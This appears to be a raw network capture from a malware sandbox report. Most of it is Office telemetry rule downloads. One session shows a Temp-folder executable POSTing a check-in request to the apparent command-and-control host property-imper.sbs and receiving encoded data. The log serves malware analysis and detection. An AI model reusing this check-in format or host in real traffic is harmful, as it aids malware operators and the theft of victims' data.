2024-11-23 19:23:17 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:17 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192317Z-178bfbc474bpscmfhC1NYCfc2c00000003bg00000000q7su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:17 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192317Z-174c587ffdfgcs66hC1TEB69cs000000035000000000hy6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192318Z-174c587ffdfl22mzhC1TEBk40c00000003eg00000000ha2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49784	104.21.33.116	443	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 19:23:19 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 19:23:19 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g92o0sb74bsdtp3kpmkd3l2a8r; expires=Wed, 19-Mar-2025 13:09:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FanJ5Y5uVqYqEMHoc9qXid5Fii5d2WQP2Hk66LD%2B4YZ4SfKfuxvq4N8DmNfcOk4%2B2fOFts8Ga5mo4thHqGaaHMc9PecybjHpD7oOfPdRdphmj3P2svRmnLFX5160%2FUpCxXaLWGU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e738876cdd2c440-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17235&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=279613&cwnd=244&unsent_bytes=0&cid=68a21eb912782a6e&ts=871&x=0"
2024-11-23 19:23:19 UTC	356	IN	Data Raw: 31 64 39 32 0d 0a 36 50 64 7a 2f 71 4c 47 70 52 35 6d 67 63 71 6b 37 61 58 5a 59 53 35 7a 71 63 50 79 39 4c 73 70 74 45 52 7a 37 63 65 45 53 34 47 54 31 51 58 63 6d 50 4b 4a 50 42 58 6b 36 4a 36 5a 31 36 77 45 41 6c 48 49 70 39 44 4f 33 55 6a 59 4e 78 62 42 35 66 49 6d 6f 39 4b 52 45 70 4c 52 6f 34 6b 38 41 2f 6e 6f 6e 72 62 65 2b 77 52 41 55 5a 50 68 6c 35 37 5a 53 4e 67 6d 45 6f 61 6f 39 43 66 69 67 4a 73 55 6c 73 65 6c 77 58 38 4b 37 4b 2f 42 69 4d 53 7a 44 30 63 65 77 61 37 51 32 4a 6c 4d 7a 6d 5a 4a 7a 34 72 68 50 2b 43 6c 6c 67 43 56 67 4c 75 4a 5a 55 54 6b 70 49 62 58 68 37 67 45 54 42 2f 50 70 35 6d 63 30 30 48 51 4a 78 65 48 74 2b 30 74 36 59 43 56 46 35 66 4e 72 4e 56 79 41 4f 75 6b 78 34 4c 45 2b 30 30 4d 46 74 50 68 79 4e 61 4b 65 64 55 33 41 Data Ascii: 1d926Pdz/qLGpR5mgcqk7aXZYS5zqcPy9LsptERz7ceES4GT1QXcmPKJPBXk6J6Z16wEAlHIp9DO3UjYNxbB5fImo9KREpLRo4k8A/nonrbe+wRAUZPhl57ZSNgmEoao9CfigJsUlselwX8K7K/BiMSzD0cewa7Q2JlMzmZJz4rhP+CllgCVgLuJZUTkpIbXh7gETB/Pp5mc00HQJxeHt+0t6YCVF5fNrNVyAOukx4LE+00MFtPhyNaKedU3A
2024-11-23 19:23:19 UTC	1369	IN	Data Raw: 64 75 44 4f 69 6a 77 35 33 4d 73 67 35 42 45 63 61 72 6e 35 58 5a 54 4e 77 73 48 6f 57 68 36 79 54 6c 69 70 56 52 30 6f 43 6a 33 7a 78 63 6f 34 76 44 6e 38 43 33 46 51 34 72 69 37 37 65 6a 35 6c 4d 32 6d 5a 4a 7a 36 33 6a 4b 75 43 42 6d 68 4b 55 79 37 62 48 62 67 4c 75 72 64 53 4a 77 72 55 4a 54 77 50 42 72 35 61 56 30 45 44 66 49 78 61 4c 35 61 68 70 35 4a 4c 56 53 64 7a 68 71 63 78 77 44 76 53 6f 68 70 43 4a 6f 6b 4e 4c 48 59 76 35 30 4a 4c 59 54 39 63 69 48 34 47 68 36 69 2f 74 68 35 6f 58 6c 73 43 6a 7a 58 51 4d 34 71 58 4e 67 4d 65 2b 44 6b 67 58 78 36 43 56 31 70 63 4c 30 54 35 52 31 2b 58 49 4c 75 43 59 31 79 53 66 7a 71 72 41 61 6b 54 38 35 74 2f 50 77 4c 64 44 46 46 48 46 70 4a 2b 45 32 46 6e 54 4b 41 4f 44 6f 4f 41 6b 34 49 53 56 46 4a 76 4e 71 Data Ascii: duDOijw53Msg5BEcarn5XZTNwsHoWh6yTlipVR0oCj3zxco4vDn8C3FQ4ri77ej5lM2mZJz63jKuCBmhKUy7bHbgLurdSJwrUJTwPBr5aV0EDfIxaL5ahp5JLVSdzhqcxwDvSohpCJokNLHYv50JLYT9ciH4Gh6i/th5oXlsCjzXQM4qXNgMe+DkgXx6CV1pcL0T5R1+XILuCY1ySfzqrAakT85t/PwLdDFFHFpJ+E2FnTKAODoOAk4ISVFJvNq
2024-11-23 19:23:19 UTC	1369	IN	Data Raw: 38 35 74 2f 50 77 4c 64 44 46 46 48 48 71 4a 43 64 30 30 2f 57 49 52 79 4b 70 75 45 71 37 6f 32 66 48 35 76 45 71 4d 35 78 41 75 4f 76 77 6f 72 56 76 67 70 41 48 59 76 76 30 4a 48 42 43 34 35 6d 50 6f 69 7a 35 51 62 67 6d 35 78 52 67 34 36 39 68 33 73 49 6f 2f 43 47 69 4d 4b 7a 43 45 6f 5a 79 37 4f 56 6d 4e 4a 4b 33 43 41 51 67 71 6e 67 4b 65 4b 4b 6b 78 32 63 78 36 50 56 62 67 48 6c 75 73 7a 50 69 66 73 45 56 46 47 54 34 61 61 47 7a 6c 72 41 5a 43 53 4d 71 2b 67 75 39 63 71 4b 58 34 57 41 6f 38 73 38 58 4b 4f 6a 78 6f 50 41 73 77 56 49 47 63 53 75 6d 59 54 59 52 39 67 30 46 6f 2b 73 36 43 62 76 67 35 67 57 6b 63 75 75 79 6e 67 44 34 75 69 49 7a 38 43 6a 51 78 52 52 2f 62 47 64 6d 76 64 41 32 69 39 52 6b 4f 76 2f 61 65 53 47 31 55 6e 63 78 4b 6a 50 64 67 Data Ascii: 85t/PwLdDFFHHqJCd00/WIRyKpuEq7o2fH5vEqM5xAuOvworVvgpAHYvv0JHBC45mPoiz5Qbgm5xRg469h3sIo/CGiMKzCEoZy7OVmNJK3CAQgqngKeKKkx2cx6PVbgHluszPifsEVFGT4aaGzlrAZCSMq+gu9cqKX4WAo8s8XKOjxoPAswVIGcSumYTYR9g0Fo+s6Cbvg5gWkcuuyngD4uiIz8CjQxRR/bGdmvdA2i9RkOv/aeSG1UncxKjPdg
2024-11-23 19:23:19 UTC	1369	IN	Data Raw: 69 38 43 2f 42 55 4e 52 68 65 47 58 6a 70 6b 54 6c 67 6b 32 75 75 66 48 45 36 4f 56 32 77 6a 63 78 36 69 48 4a 45 54 76 71 38 71 48 79 4c 30 4b 51 42 76 43 71 70 79 64 33 55 66 66 49 78 65 4f 6f 4f 4d 6f 35 34 61 66 46 35 2f 44 71 38 68 7a 44 4b 50 6d 68 6f 6a 66 2b 31 73 4d 4e 4e 79 71 6e 70 43 5a 56 4a 67 2f 55 59 69 70 70 6e 47 6a 68 70 77 58 6d 73 57 6f 78 6e 6f 4d 35 71 44 43 6a 73 47 39 41 45 4d 56 7a 71 43 66 6b 74 56 46 33 43 63 51 67 36 37 70 49 75 62 4b 32 31 47 62 32 4f 53 66 50 44 58 67 76 74 47 66 79 2f 73 63 41 67 69 4c 70 70 7a 57 67 51 76 58 4e 42 75 46 71 2b 4d 6d 35 6f 6d 61 46 70 48 47 71 4d 31 31 44 4f 57 6e 7a 35 33 45 74 77 31 4c 48 38 65 76 6e 5a 7a 61 52 70 5a 6f 55 59 69 39 70 6e 47 6a 70 70 49 63 73 73 75 6f 77 44 77 62 72 62 47 Data Ascii: i8C/BUNRheGXjpkTlgk2uufHE6OV2wjcx6iHJETvq8qHyL0KQBvCqpyd3UffIxeOoOMo54afF5/Dq8hzDKPmhojf+1sMNNyqnpCZVJg/UYippnGjhpwXmsWoxnoM5qDCjsG9AEMVzqCfktVF3CcQg67pIubK21Gb2OSfPDXgvtGfy/scAgiLppzWgQvXNBuFq+Mm5omaFpHGqM11DOWnz53Etw1LH8evnZzaRpZoUYi9pnGjppIcssuowDwbrbG
2024-11-23 19:23:19 UTC	1369	IN	Data Raw: 42 73 4d 53 59 75 58 6c 34 62 4a 53 4a 51 58 42 34 79 7a 37 53 54 76 79 6f 70 66 68 59 43 6a 79 7a 78 63 6f 36 37 4a 68 73 53 30 41 6b 55 64 78 71 53 5a 6b 39 68 4e 30 69 77 62 6a 36 50 67 4b 4f 61 41 6c 68 43 57 79 61 50 50 65 77 66 78 36 49 6a 50 77 4b 4e 44 46 46 48 69 70 6f 4b 59 79 51 76 4a 61 41 6a 50 6f 75 70 70 75 38 71 52 47 35 50 45 6f 38 74 36 41 65 57 6c 78 34 44 47 75 77 78 49 47 73 4b 6e 6b 5a 76 63 52 74 49 30 47 34 53 71 36 69 44 76 68 39 56 66 33 4d 65 38 68 79 52 45 30 71 58 49 67 63 43 74 51 31 4e 66 30 75 47 58 6d 70 6b 54 6c 69 63 64 67 4b 62 70 4b 75 43 4c 6e 77 4f 4f 7a 4b 33 50 65 51 6a 6f 70 73 43 64 77 62 51 4b 54 78 4c 43 70 70 69 61 30 30 6a 52 5a 6c 2f 50 6f 76 35 70 75 38 71 32 42 6f 7a 4e 35 4e 67 79 48 61 4f 76 79 73 2b 66 Data Ascii: BsMSYuXl4bJSJQXB4yz7STvyopfhYCjyzxco67JhsS0AkUdxqSZk9hN0iwbj6PgKOaAlhCWyaPPewfx6IjPwKNDFFHipoKYyQvJaAjPouppu8qRG5PEo8t6AeWlx4DGuwxIGsKnkZvcRtI0G4Sq6iDvh9Vf3Me8hyRE0qXIgcCtQ1Nf0uGXmpkTlicdgKbpKuCLnwOOzK3PeQjopsCdwbQKTxLCppia00jRZl/Pov5pu8q2BozN5NgyHaOvys+f
2024-11-23 19:23:19 UTC	1369	IN	Data Raw: 54 4e 72 70 2b 66 30 45 2f 65 4a 52 47 4c 6f 65 45 73 34 49 61 65 46 70 2f 50 6f 4d 35 79 44 65 7a 6f 69 4d 2f 41 6f 30 4d 55 55 65 71 36 6b 35 72 55 43 38 6c 6f 43 4d 2b 69 36 6d 6d 37 79 70 6b 66 6d 63 43 75 77 58 67 42 35 61 4c 44 6a 38 79 34 44 45 67 58 7a 36 36 51 6e 64 42 4b 30 43 4d 62 68 4b 50 72 4b 75 57 4d 31 56 2f 63 78 37 79 48 4a 45 54 44 73 38 75 44 77 50 73 63 41 67 69 4c 70 70 7a 57 67 51 76 64 4b 68 57 49 70 65 73 71 36 34 2b 52 47 35 6e 41 72 4e 56 30 42 4f 53 36 31 49 2f 4f 76 67 39 50 45 63 2b 6e 6d 5a 44 61 54 35 5a 6f 55 59 69 39 70 6e 47 6a 70 35 6b 57 74 63 65 2f 68 32 4e 4b 2b 75 6a 42 67 34 66 6a 51 30 30 61 77 61 36 64 6c 64 39 49 33 53 4d 62 6a 71 4c 75 4a 50 47 4a 6d 68 36 59 77 4b 76 42 65 67 58 73 72 73 47 47 78 72 4d 45 44 Data Ascii: TNrp+f0E/eJRGLoeEs4IaeFp/PoM5yDezoiM/Ao0MUUeq6k5rUC8loCM+i6mm7ypkfmcCuwXgB5aLDj8y4DEgXz66QndBK0CMbhKPrKuWM1V/cx7yHJETDs8uDwPscAgiLppzWgQvdKhWIpesq64+RG5nArNV0BOS61I/Ovg9PEc+nmZDaT5ZoUYi9pnGjp5kWtce/h2NK+ujBg4fjQ00awa6dld9I3SMbjqLuJPGJmh6YwKvBegXsrsGGxrMED
2024-11-23 19:23:19 UTC	377	IN	Data Raw: 33 67 4e 4e 4d 78 69 45 47 67 4f 57 6f 61 65 7a 4b 7a 53 6a 63 79 61 50 63 62 52 4c 75 75 4d 48 50 2b 50 56 44 56 46 47 54 34 61 57 56 31 30 58 52 4d 41 44 43 67 76 41 6a 35 4a 71 53 42 70 4f 41 36 6f 64 36 52 4c 76 37 69 4d 2f 44 71 6b 4d 55 51 5a 6e 36 78 63 57 4f 47 34 51 35 58 35 62 6c 38 47 6d 37 32 4e 74 52 6a 6f 44 38 68 7a 73 48 38 62 72 41 6a 4e 47 34 52 48 49 76 37 4c 75 64 6b 4d 35 61 36 42 67 57 6c 61 6a 67 50 76 4c 47 67 42 4b 53 7a 71 50 52 50 45 71 6a 70 34 62 58 2f 76 74 4c 44 43 36 46 34 59 6a 57 67 51 76 6a 4a 52 2b 42 6f 76 41 34 72 71 32 50 48 4a 72 58 74 59 63 79 52 4f 58 6f 6e 74 2b 4a 2b 77 64 64 55 5a 50 78 77 73 32 4d 47 49 46 32 51 35 44 72 2f 32 6e 31 79 73 31 44 30 6f 43 32 68 79 52 45 70 4b 76 55 6e 63 47 34 46 55 39 57 39 5a Data Ascii: 3gNNMxiEGgOWoaezKzSjcyaPcbRLuuMHP+PVDVFGT4aWV10XRMADCgvAj5JqSBpOA6od6RLv7iM/DqkMUQZn6xcWOG4Q5X5bl8Gm72NtRjoD8hzsH8brAjNG4RHIv7LudkM5a6BgWlajgPvLGgBKSzqPRPEqjp4bX/vtLDC6F4YjWgQvjJR+BovA4rq2PHJrXtYcyROXont+J+wddUZPxws2MGIF2Q5Dr/2n1ys1D0oC2hyREpKvUncG4FU9W9Z
2024-11-23 19:23:19 UTC	1369	IN	Data Raw: 32 36 64 61 0d 0a 54 38 50 58 49 53 33 61 79 66 6e 64 68 31 36 41 67 63 6a 71 62 6f 61 39 4b 63 6d 41 47 66 78 61 50 35 51 67 72 6b 76 4d 47 42 77 62 74 44 41 6c 48 45 34 63 69 76 6d 51 4f 57 47 56 2f 50 76 61 5a 78 6f 37 2b 57 48 35 4c 48 73 74 59 78 4a 2f 57 6c 79 59 54 47 2b 30 30 4d 46 34 76 35 77 4e 69 5a 54 38 64 6d 53 64 2f 33 76 58 79 77 33 63 56 44 67 34 36 39 68 32 70 45 75 2f 71 49 7a 39 58 37 57 77 78 57 78 61 79 52 6c 64 64 49 78 44 51 58 6a 4c 50 6c 62 74 32 30 74 42 79 58 7a 4b 6e 49 64 7a 72 64 69 63 75 45 79 37 59 4d 52 79 2f 31 74 4a 4f 59 31 30 7a 41 4e 31 48 42 35 65 6c 70 75 37 50 56 57 64 7a 2f 36 6f 64 6b 52 4c 76 6f 38 34 7a 4a 74 51 52 61 41 49 61 41 6e 5a 33 56 52 74 6b 74 55 63 48 6c 34 47 6d 37 32 74 74 52 6d 4e 48 6b 6e 79 78 Data Ascii: 26daT8PXIS3ayfndh16Agcjqboa9KcmAGfxaP5QgrkvMGBwbtDAlHE4civmQOWGV/PvaZxo7+WH5LHstYxJ/WlyYTG+00MF4v5wNiZT8dmSd/3vXyw3cVDg469h2pEu/qIz9X7WwxWxayRlddIxDQXjLPlbt20tByXzKnIdzrdicuEy7YMRy/1tJOY10zAN1HB5elpu7PVWdz/6odkRLvo84zJtQRaAIaAnZ3VRtktUcHl4Gm72ttRmNHknyx
2024-11-23 19:23:19 UTC	1369	IN	Data Raw: 4c 48 73 74 77 56 4c 43 38 79 6e 74 72 61 5a 42 5a 59 70 55 64 65 63 70 6d 47 6a 74 64 74 52 68 49 44 38 68 30 6b 48 37 61 62 42 6d 64 62 32 4a 6c 73 53 32 36 65 54 31 70 63 4c 30 47 5a 4a 33 2b 75 6d 4c 66 4c 4b 7a 55 48 4f 6d 2f 47 55 4b 31 53 78 74 34 69 57 68 36 31 44 46 45 4f 46 34 59 4c 57 67 51 75 52 4a 51 4f 64 6f 2b 55 2f 34 4d 32 72 4c 37 72 44 74 63 31 64 43 66 4f 76 2b 4c 48 53 75 41 31 43 46 74 32 77 30 4e 69 5a 52 4a 5a 2b 4b 4d 2f 74 71 69 2f 67 6e 4e 55 75 30 6f 43 38 68 79 52 45 31 71 76 49 67 63 43 74 45 67 45 33 79 4c 43 61 74 39 52 62 30 57 5a 66 7a 36 4f 6d 63 62 44 45 31 52 57 4e 67 50 79 58 4c 6c 2b 32 2b 35 48 66 6c 61 52 4e 56 56 48 64 34 63 6a 45 6c 77 76 45 5a 6b 6e 50 34 75 55 37 38 59 79 57 42 35 2b 48 6d 76 6c 4a 42 2b 32 6d Data Ascii: LHstwVLC8yntraZBZYpUdecpmGjtdtRhID8h0kH7abBmdb2JlsS26eT1pcL0GZJ3+umLfLKzUHOm/GUK1Sxt4iWh61DFEOF4YLWgQuRJQOdo+U/4M2rL7rDtc1dCfOv+LHSuA1CFt2w0NiZRJZ+KM/tqi/gnNUu0oC8hyRE1qvIgcCtEgE3yLCat9Rb0WZfz6OmcbDE1RWNgPyXLl+2+5HflaRNVVHd4cjElwvEZknP4uU78YyWB5+HmvlJB+2m

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:19 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192320Z-174c587ffdfx984chC1TEB676g00000003eg00000000210s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:20 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:19 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:20 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192320Z-178bfbc474btrnf9hC1NYCb80g00000005400000000039w1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:20 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" 